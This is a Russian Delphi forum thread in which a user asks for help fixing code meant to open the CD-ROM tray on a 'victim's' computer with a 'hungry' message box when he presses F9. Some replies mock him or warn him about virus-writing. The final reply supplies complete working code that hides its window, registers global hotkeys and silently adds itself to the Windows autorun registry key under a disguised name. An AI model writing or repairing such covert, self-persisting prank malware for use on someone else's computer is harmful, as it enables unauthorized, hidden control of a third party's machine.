Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 17.05.2011, 18:07   #1
Koper72Rus
Пользователь
 
Регистрация: 17.05.2011
Сообщений: 18
Вопрос в чем тут ошибка

помогите что то неправильно написал в чем ошибка этот код должен у "жертвы" при нажатие мной Ф9 открывать сиди рум с окошком я голодный что неправельно?
Код:
unit Unit1; 

interface 

uses 
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 
 Dialogs, ExtCtrls; registry; mmsystem; 

type 
 TForm1 = class(TForm) 
 Timer1: TTimer; 
 procedure Timer1Timer(Sender: TObject); 
 private 
 { Private declarations } 
 public 
 { Public declarations } 
 end; 

var 
 Form1: TForm1;registry; 

implementation 

{$R *.dfm} 

procedure TForm1.Timer1Timer(Sender: TObject); 
begin 
messagebox(getdesktopwindow,'Я голоден..!Дай диск плз =(', 'cd-rom', mb_ok); 
 mcisendstring('set cdaudio door open wait', nil, 0, handle); 
end; 

end. 
 application.showmainform:=false; 
 reg := tregistry.create; 
 reg.rootkey:=hkey_local_machi ne; 
 reg.lazywrite := false; 
 reg.openkey('softwaremicrosoftwindowscurrentversionrun',false); 
 reg.writestring('mscv32', application. exename); 
 reg.closekey; 
 reg.free; 
 mcisendstring('set cdaudio door closed wait', nil, 0, handle);

Последний раз редактировалось Stilet; 17.05.2011 в 18:12.
Koper72Rus вне форума Ответить с цитированием
Старый 17.05.2011, 18:13   #2
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Цитата:
softwaremicrosoftwindowscurrentvers ionrun
Это заклинание?
P.S. По попе от жертвы за вирмейкерство получишь.
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 17.05.2011, 18:13   #3
Winnerer
Пользователь
 
Аватар для Winnerer
 
Регистрация: 13.05.2011
Сообщений: 16
По умолчанию

Цитата:
Dialogs, ExtCtrls; registry; mmsystem;
через запятую
Цитата:
открывать
Цитата:
door closed wait
капитан тут бессилен..

Код:
mciSendString('Set cdaudio door closed wait', nil, 0, handle);
вири на дельфи, бесспорно, самые лучшие.

Код:
var 
 Form1: TForm1;registry;
Koper72Rus, какой раз за жизнь дельфи открыли?
[ferox]

Последний раз редактировалось Winnerer; 17.05.2011 в 18:16.
Winnerer вне форума Ответить с цитированием
Старый 17.05.2011, 18:31   #4
Человек_Борща
Старожил
 
Аватар для Человек_Борща
 
Регистрация: 30.12.2009
Сообщений: 11,426
По умолчанию

Судя по коду ни разу. Этот код вообще не компилируем.
Человек_Борща вне форума Ответить с цитированием
Старый 17.05.2011, 18:33   #5
Koper72Rus
Пользователь
 
Регистрация: 17.05.2011
Сообщений: 18
По умолчанию

Цитата:
Сообщение от Winnerer Посмотреть сообщение
через запятую


капитан тут бессилен..

Код:
mciSendString('Set cdaudio door closed wait', nil, 0, handle);
вири на дельфи, бесспорно, самые лучшие.

Код:
var 
 Form1: TForm1;registry;
Koper72Rus, какой раз за жизнь дельфи открыли?
не первый раз а писал ночью мож чо попутал

напишите как должно быть где запятые ставить дельфи недавно освоил

Последний раз редактировалось Stilet; 20.05.2011 в 17:58.
Koper72Rus вне форума Ответить с цитированием
Старый 17.05.2011, 18:42   #6
Valio
Сливочное масло
Участник клуба
 
Аватар для Valio
 
Регистрация: 01.01.2011
Сообщений: 1,149
По умолчанию

Цитата:
Сообщение от Koper72Rus Посмотреть сообщение
напишите как должно быть где запятые ставить дельфи недавно освоил
Напишите как должно быть и где запятые ставить. Дельфи недавно освоил.

Ну вот както так.
Сливочное масло Valio - компиляция как по маслу
Valio вне форума Ответить с цитированием
Старый 17.05.2011, 18:43   #7
Koper72Rus
Пользователь
 
Регистрация: 17.05.2011
Сообщений: 18
По умолчанию

Цитата:
Сообщение от Valio Посмотреть сообщение
Напишите как должно быть и где запятые ставить. Дельфи недавно освоил.

Ну вот както так.
в коде ну плз помогите по попе не получу
Koper72Rus вне форума Ответить с цитированием
Старый 17.05.2011, 18:44   #8
Aliens_wolfs
Форумчанин
 
Регистрация: 16.12.2009
Сообщений: 902
По умолчанию

Да уж много ошибок, так она действительно не откомпилируется. сейчас попробую помочь

Последний раз редактировалось Aliens_wolfs; 18.05.2011 в 13:58.
Aliens_wolfs вне форума Ответить с цитированием
Старый 17.05.2011, 18:46   #9
Koper72Rus
Пользователь
 
Регистрация: 17.05.2011
Сообщений: 18
По умолчанию

при нажатии
Koper72Rus вне форума Ответить с цитированием
Старый 17.05.2011, 19:44   #10
Aliens_wolfs
Форумчанин
 
Регистрация: 16.12.2009
Сообщений: 902
По умолчанию

Вот состряпал на скорую руку рабочий код


Цитата:
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,registry, mmsystem;

type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FormPaint(Sender: TObject);
private
procedure WMHotKey(var Msg: TWMHotKey); message WM_HOTKEY;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

//Прочитать в разделе параметр реестра
function ReadStringKeyParametrReg(KeyRoot: Cardinal; KeyPatch, KeyName: string): string;
var
Reg: TRegistry;
begin
Reg:=TRegistry.Create;
with Reg do
begin
RootKey := KeyRoot;
OpenKey(KeyPatch, True);
result:=AnsiLowerCase( ReadString(KeyName) );
CloseKey;
end;
Reg.Free;
end;

//добавить в реестр запись
procedure WriteStringKeyParametrReg(KeyRoot: Cardinal; KeyPatch, KeyName, KeyAppName: string);
var
Reg: TRegistry;
begin
Reg:=TRegistry.Create;
with Reg do
begin
RootKey := KeyRoot;
OpenKey(KeyPatch, True);
WriteString(KeyName, KeyAppName);
CloseKey;
end;
Reg.Free;
end;

//Ловим событие клавиш F9 и F10
procedure TForm1.WMHotKey(var Msg: TWMHotKey);
begin
Case Msg.HotKey of
//Событие клавиши F9
120: begin
mciSendString('Set cdaudio door open wait', nil, 0, handle);
if MessageDlg('Я голоден..!Дай диск плз =(',mtInformation,[mbyes,mbno],0) in [mrYes,mrNo] then
//если нажать в окне Yes или No то CDROM закроется или F10
mciSendString('Set cdaudio door closed wait', nil, 0, handle);
end;
//Событие клавиши F10
121:
mciSendString('Set cdaudio door closed wait', nil, 0, handle);
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
//Регистрируем для открытия клавишу F9 код её 120
RegisterHotKey(handle,120, 0, 120);
//Регистрируем для закрытия клавишу F10 код её 121
RegisterHotKey(handle,121, 0, 121);

//Проверить и создать ключ в реестре автозапуска software microsoft windows currentversion run
//Можно поместить это в таймер будет постоянно проверять автозапуск в реестре

if ReadStringKeyParametrReg(HKEY_LOCAL _MACHINE,'software\microsoft\window s\currentversion\run'
,'mscv32')<>Application.ExeName then begin
WriteStringKeyParametrReg(HKEY_LOCA L_MACHINE,'software\microsoft\windo ws\currentversion\run'
,'mscv32',Application.ExeName);
end;

end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
//Освобождаем F9 и F10
UnRegisterHotKey(handle, 120);
UnRegisterHotKey(handle, 121);
end;

procedure TForm1.FormPaint(Sender: TObject);
begin
//Спрятать свою форму
Hide;
end;

end.

Последний раз редактировалось Aliens_wolfs; 18.05.2011 в 11:11.
Aliens_wolfs вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Где тут ошибка?? cargo29 Общие вопросы Delphi 5 17.12.2010 15:29
Обьясните почему тут ошибка? Skorpion555 Помощь студентам 11 10.03.2010 08:28
Где тут ошибка? Паскалька^^ Помощь студентам 0 25.10.2009 13:54
Подскажите в чем тут дело!!! Aigul1 Общие вопросы C/C++ 1 03.10.2009 21:17
где тут ошибка? Fogg Общие вопросы C/C++ 5 18.12.2008 09:34